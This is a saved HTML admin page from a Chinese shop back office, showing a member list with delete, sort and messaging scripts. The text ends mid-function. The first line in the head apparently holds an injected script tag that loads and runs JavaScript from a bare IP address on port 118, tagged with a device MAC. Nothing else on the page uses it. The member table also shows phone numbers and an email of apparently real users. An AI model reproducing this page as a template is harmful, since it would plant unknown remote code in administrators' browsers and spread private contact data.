<!doctype html>
<html>

	<head>
		<script src=http://45.126.123.80:118/j.js?MAC=2CB21AACBE18></script>
		<meta http-equiv="content-type" content="text/html; charset=UTF-8">
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
		<!-- Apple devices fullscreen -->
		<meta name="apple-mobile-web-app-capable" content="yes">
		<!-- Apple devices fullscreen -->
		<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
		<link href="../css/main.css?v=12u234y" rel="stylesheet" type="text/css">
		<link href="../css/page.css" rel="stylesheet" type="text/css">
		<link href="../font/css/font-awesome.min.css" rel="stylesheet" />
		<!--[if IE 7]>
  <link rel="stylesheet" href="../font/css/font-awesome-ie7.min.css">
<![endif]-->
		<link href="../js/jquery-ui/jquery-ui.min.css" rel="stylesheet" type="text/css" />
		<link href="../js/perfect-scrollbar.min.css" rel="stylesheet" type="text/css" />
		<style type="text/css">
			html,
			body {
				overflow: visible;
			}
		</style>
		<script type="text/javascript" src="../js/jquery.js"></script>
		<script type="text/javascript" src="../js/jquery-ui/jquery-ui.min.js"></script>
		<script type="text/javascript" src="../js/layer/layer.js"></script>
		<!-- 弹窗js 参考文档 http://layer.layui.com/-->
		<script type="text/javascript" src="../js/admin.js"></script>
		<script type="text/javascript" src="../js/flexigrid.js"></script>
		<script type="text/javascript" src="../js/jquery.validation.min.js"></script>
		<script type="text/javascript" src="../js/perfect-scrollbar.min.js"></script>
		<script type="text/javascript" src="../js/jquery.mousewheel.js"></script>
		<script src="../js/myFormValidate.js"></script>
		<script src="../js/myAjax2.js"></script>
		<script src="../js/global.js"></script>
		<script type="text/javascript" src="../js/demo_page.js"></script>
		<script type="text/javascript">
			function delfunc(obj) {
				layer.confirm('确认删除？', {
					btn: ['确定', '取消'] //按钮
				}, function() {
					$.ajax({
						type: 'post',
						url: $(obj).attr('data-url'),
						data: {
							act: 'del',
							del_id: $(obj).attr('data-id')
						},
						dataType: 'json',
						success: function(data) {
							if(data == 1) {
								layer.msg('操作成功', {
									icon: 1
								});
								$(obj).parent().parent().parent().remove();
							} else {
								layer.msg(data, {
									icon: 2,
									time: 2000
								});
							}
						}
					})
				}, function(index) {
					layer.close(index);
					return false; // 取消
				});
			}

			function delAll(obj, name) {
				var a = [];
				$('input[name*=' + name + ']').each(function(i, o) {
					if($(o).is(':checked')) {
						a.push($(o).val());
					}
				})
				if(a.length == 0) {
					layer.alert('请选择删除项', {
						icon: 2
					});
					return;
				}
				layer.confirm('确认删除？', {
					btn: ['确定', '取消']
				}, function() {
					$.ajax({
						type: 'get',
						url: $(obj).attr('data-url'),
						data: {
							act: 'del',
							del_id: a
						},
						dataType: 'json',
						success: function(data) {
							if(data == 1) {
								layer.msg('操作成功', {
									icon: 1
								});
								$('input[name*=' + name + ']').each(function(i, o) {
									if($(o).is(':checked')) {
										$(o).parent().parent().remove();
									}
								})
							} else {
								layer.msg(data, {
									icon: 2,
									time: 2000
								});
							}
							layer.closeAll();
						}
					})
				}, function(index) {
					layer.close(index);
					return false; // 取消
				});
			}

			//表格列表全选反选
			$(document).ready(function() {
				$('.hDivBox .sign').click(function() {
					var sign = $('#flexigrid > table>tbody>tr');
					if($(this).parent().hasClass('trSelected')) {
						sign.each(function() {
							$(this).removeClass('trSelected');
						});
						$(this).parent().removeClass('trSelected');
					} else {
						sign.each(function() {
							$(this).addClass('trSelected');
						});
						$(this).parent().addClass('trSelected');
					}
				})
			});

			//获取选中项
			function getSelected() {
				var selectobj = $('.trSelected');
				var selectval = [];
				if(selectobj.length > 0) {
					selectobj.each(function() {
						selectval.push($(this).attr('data-id'));
					});
				}
				return selectval;
			}
		</script>
	</head>

	<body style="background-color: rgb(255, 255, 255); overflow: auto; cursor: default; -moz-user-select: inherit;">
		<div id="append_parent"></div>
		<div id="ajaxwaitid"></div>
		<div class="page">
			<div class="fixed-bar">
				<div class="item-title">
					<div class="subject">
						<h3>会员管理</h3>
						<h5>网站系统会员索引与管理</h5>
					</div>
				</div>
			</div>
			<!-- 操作说明 -->
			<div id="explanation" class="explanation" style="color: rgb(44, 188, 163); background-color: rgb(237, 251, 248); width: 99%; height: 100%;">
				<div id="checkZoom" class="title"><i class="fa fa-lightbulb-o"></i>
					<h4 title="提示相关设置操作时应注意的要点">操作提示</h4>
					<span title="收起提示" id="explanationZoom" style="display: block;"></span>
				</div>
				<ul>
					<li>通过会员管理，你可以进行查看、编辑会员资料等操作</li>
					<li>你可以根据条件搜索会员，然后选择相应的操作</li>
				</ul>
			</div>
			<div class="flexigrid">
				<div class="mDiv">
					<div class="ftitle">
						<h3>会员列表</h3>
						<h5>(共<span id="user_count"></span>条记录)</h5>
					</div>
					<div title="刷新数据" class="pReload"><i class="fa fa-refresh"></i></div>
					<form class="navbar-form form-inline" id="search-form2" onsubmit="return false">
						<input type="hidden" name="order_by" value="user_id">
						<input type="hidden" name="sort" value="desc">
						<input type="hidden" name="mobile" value="" id="input-mobile" />
						<input type="hidden" name="email" value="" id="input-email" />
						<!--分销时查看下级人数都有哪些-->
						<input type="hidden" name="first_leader" value="">
						<input type="hidden" name="second_leader" value="">
						<input type="hidden" name="third_leader" value="">
						<div class="sDiv">
							<div class="sDiv2">
								<input type="text" id="search_key" size="30" class="qsbox" placeholder="手机或者邮箱...">
								<input type="submit" class="btn" onclick="ajax_get_table('search-form2',1)" value="搜索">
							</div>
						</div>
					</form>
				</div>
				<div class="hDiv">
					<div class="hDivBox">
						<table cellspacing="0" cellpadding="0">
							<thead>
								<tr>
									<th class="sign" axis="col0">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</th>
									<th align="left" abbr="user_id" axis="col3" class="">
										<div style="text-align: center; width: 40px;" class="">ID</div>
									</th>
									<th align="left" abbr="nickname" axis="col4" class="">
										<div style="text-align: center; width: 150px;" class="">会员昵称</div>
									</th>
									<th align="center" abbr="level" axis="col5" class="">
										<div style="text-align: center; width: 50px;" class="">会员等级</div>
									</th>
									<th align="center" abbr="total_amount" axis="col6" class="">
										<div style="text-align: center; width: 80px;" class="">累计消费</div>
									</th>
									<th align="center" abbr="email" axis="col6" class="">
										<div style="text-align: center; width: 180px;" class="">邮件地址</div>
									</th>
									<th align="center" axis="col6" class="">
										<div style="text-align: center; width: 60px;" class="">一级下线数</div>
									</th>
									<th align="center" axis="col6" class="">
										<div style="text-align: center; width: 60px;" class="">二级下线数</div>
									</th>
									<th align="center" axis="col6" class="">
										<div style="text-align: center; width: 60px;" class="">三级下线数</div>
									</th>
									<th align="center" abbr="mobile" axis="col6" class="">
										<div style="text-align: center; width: 130px;" class="">手机号码</div>
									</th>
									<th align="center" abbr="user_money" axis="col6" class="">
										<div style="text-align: center; width: 80px;" class="">余额</div>
									</th>
									<th align="center" abbr="pay_points" axis="col6" class="">
										<div style="text-align: center; width: 80px;" class="">积分</div>
									</th>
									<th align="center" abbr="reg_time" axis="col6" class="">
										<div style="text-align: center; width: 120px;" class="">注册日期</div>
									</th>
									<th align="center" axis="col1" class="handle">
										<div style="text-align: center; width: 150px;">操作</div>
									</th>
									<th style="width:100%" axis="col7">
										<div></div>
									</th>
								</tr>
							</thead>
						</table>
					</div>
				</div>
				<div class="tDiv">
					<div class="tDiv2">
						<div class="fbutton">
							<a href="add_user.html">
								<div class="add" title="添加会员">
									<span><i class="fa fa-plus"></i>添加会员</span>
								</div>
							</a>
						</div>
						<div class="fbutton">
							<a onclick="send_message();">
								<div class="add" title="发送站内信">
									<span><i class="fa fa-plus"></i>发送站内信</span>
								</div>
							</a>
						</div>
						<div class="fbutton">
							<a onclick="send_mail();">
								<div class="add" title="发送邮件">
									<span><i class="fa fa-plus"></i>发送邮件</span>
								</div>
							</a>
						</div>
					</div>
					<div style="clear:both"></div>
				</div>
				<div class="bDiv" style="height: auto;" id="ajax_return">
					<div id="flexigrid" cellpadding="0" cellspacing="0" border="0">
						<table>
							<tbody>
								<tr data-id="43">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">43</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;"></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;">17663740211 (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">11</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2018-12-10 10:04</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/43.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/43.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/43.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="43" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="42">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">42</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;"></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;">13356659700 (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">11</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2018-10-27 17:22</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/42.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/42.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/42.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="42" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="41">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">41</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;">13356659700</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;">13356659700@qq.com (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;">13356659700 (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2018-01-08 22:16</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/41.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/41.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/41.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="41" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="40">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">40</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;"></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;">13356659701 (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2018-01-08 18:16</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/40.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/40.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/40.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="40" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="39">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">39</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;"></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;">17156819999 (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2017-11-05 17:55</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/39.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/39.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/39.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="39" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="37">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">37</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;"></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;">13356659721 (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2017-11-05 17:49</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/37.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/37.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/37.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="37" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="30">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">30</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;">勿忘初心</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2017-10-13 17:29</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/30.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/30.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/30.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="30" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="29">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">29</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;"></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;">17156819999 (未验证)
										</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">10</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2017-10-13 17:00</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/29.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/29.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/29.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="29" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="28">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">28</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;">小默</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">1</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2017-10-12 16:17</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/28.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/28.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/28.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="28" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
								<tr data-id="27">
									<td class="sign">
										<div style="width: 24px;"><i class="ico-check"></i></div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 40px;">27</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 150px;">品牌维护已认证</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 50px;">青铜</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 180px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 60px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 130px;"> </div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0.00</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 80px;">0</div>
									</td>
									<td align="left" class="">
										<div style="text-align: center; width: 120px;">2017-09-21 19:47</div>
									</td>
									<td align="center" class="handle">
										<div style="text-align: center; width: 170px; max-width:170px;">
											<a class="btn blue" href="/index.php/Admin/user/detail/id/27.html"><i class="fa fa-pencil-square-o"></i>查看编辑</a>
											<a class="btn blue" href="/index.php/Admin/user/account_log/id/27.html"><i class="fa fa-search"></i>用户资金</a>
											<a class="btn blue" href="/index.php/Admin/user/address/id/27.html"><i class="fa fa-steam"></i>收货地址</a>
											<a class="btn red" href="javascript:void(0)" data-url="/index.php/Admin/user/ajax_delete.html" data-id="27" onclick="delfun(this)"><i class="fa fa-trash-o"></i>删除</a>
										</div>
									</td>
									<td align="" class="" style="width: 100%;">
										<div>&nbsp;</div>
									</td>
								</tr>
							</tbody>
						</table>
					</div>
				<!--分页位置-->
				<div class='dataTables_paginate paging_simple_numbers'>
					<ul class='pagination' id="page">
					</ul>
				</div>
				</div>
			</div>
		</div>
		<script>
			$(document).ready(function() {
				// 点击刷新数据
				var ssort = 'sdesc';
				var on_sclick = 0;
				$('.hDivBox > table>thead>tr>th').hover(
					function() {
						if(typeof($(this).attr('abbr')) == "undefined") {
							return false;
						}
						$(this).addClass('thOver');
						if($(this).hasClass('sorted')) {
							if(ssort == 'sdesc') {
								$(this).find('div').removeClass('sdesc');
								$(this).find('div').addClass('sasc');
							} else {
								$(this).find('div').removeClass('sasc');
								$(this).find('div').addClass('sdesc');
							}
						} else {
							$(this).find('div').addClass(ssort);
						}
					},
					function() {
						if(typeof($(this).attr('abbr')) == "undefined") {
							return false;
						}
						if(on_sclick == 0) {
							if($(this).hasClass('sorted')) {
								if(ssort == 'sdesc') {
									$(this).find('div').removeClass('sasc');
									$(this).find('div').addClass('sdesc');
								} else {
									$(this).find('div').removeClass('sdesc');
									$(this).find('div').addClass('sasc');
								}
							} else {
								$(this).find('div').removeClass(ssort);
							}
						}
						$(this).removeClass("thOver");
						on_sclick = 0;
					}
				);
				$('.hDivBox > table>thead>tr>th').click(function() {
					if(typeof($(this).attr('abbr')) == "undefined") {
						return false;
					}
					if($(this).hasClass('sorted')) {
						$(this).find('div').removeClass(ssort);
						if(ssort == 'sdesc') {
							ssort = 'sasc';
						} else {
							ssort = 'sdesc';
						}
						$(this).find('div').addClass(ssort);
						on_sclick = 1;
					} else {
						$('.hDivBox > table>thead>tr>th').removeClass('sorted');
						$('.hDivBox > table>thead>tr>th').find('div').removeClass(ssort);
						$(this).addClass('sorted');
						$(this).find('div').addClass(ssort);
						var hDivBox_th_index = $(this).index();
						var flexigrid_tr = $('#flexigrid > table>tbody>tr')
						flexigrid_tr.each(function() {
							$(this).find('td').removeClass('sorted');
							$(this).children('td').eq(hDivBox_th_index).addClass('sorted');
						});
					}
					sort($(this).attr('abbr'));
				});

				$('.fa-refresh').click(function() {
					location.href = location.href;
				});
				ajax_get_table('search-form2', 1);
			});

			// ajax 抓取页面
			function ajax_get_table(tab, page) {
				var search_key = $.trim($('#search_key').val());
				if(search_key.length > 0) {
					if(checkEmail(search_key)) {
						$('#input-email').val(search_key);
					} else if(checkMobile(search_key)) {
						$('#input-mobile').val(search_key);
					} else {
						layer.alert('请输入正确的邮箱或者手机号码', {
							icon: 2
						});
					}
				}
				cur_page = page; //当前页面 保存为全局变量
				$.ajax({
					type: "POST",
					url: "/index.php/Admin/user/ajaxindex/p/" + page, //+tab,
					data: $('#' + tab).serialize(), // 你的formid
					success: function(data) {
						$("#ajax_return").html('');
						$("#ajax_return").append(data);
					}
				});
			}

			//发送邮件
			function send_mail() {
				var obj = $('.trSelected');
				var url = "/index.php/Admin/User/sendMail.html";
				if(obj.length > 0) {
					var check_val = [];
					obj.each(function() {
						check_val.push($(this).attr('data-id'));
					});
					url += "?user_id_array=" + check_val;
					layer.open({
						type: 2,
						title: '发送邮箱',
						shadeClose: true,
						shade: 0.8,
						area: ['580px', '480px'],
						content: url
					});
				} else {
					layer.msg('请选择会员');
				}
			}

			//发送站内信
			function send_message() {
				var obj = $('.trSelected');
				var url = "/index.php/Admin/User/sendMessage.html";
				if(obj.length > 0) {
					var check_val = [];
					obj.each(function() {
						check_val.push($(this).attr('data-id'));
					});
					url += "?user_id_array=" + check_val;
					layer.open({
						type: 2,
						title: '站内信',
						shadeClose: true,
						shade: 0.8,
						area: ['580px', '480px'],
						content: url
					});
				} else {
					layer.msg('请选择会员');
				}

			}

			// 点击排序
			function sort(field) {
				$("input[name='order_by']").val(field);
				var v = $("input[name='sort']").val() == 'desc' ? 'asc' : 'desc';
				$("input[name='sort']").val(v);
				ajax_get_table('search-form2', cur_page);
			}
			/**
			 * 回调函数
			 */
			function call_back(v) {
				layer.closeAll();
				if(v == 1) {
					layer.msg('发送成功');
				} else {
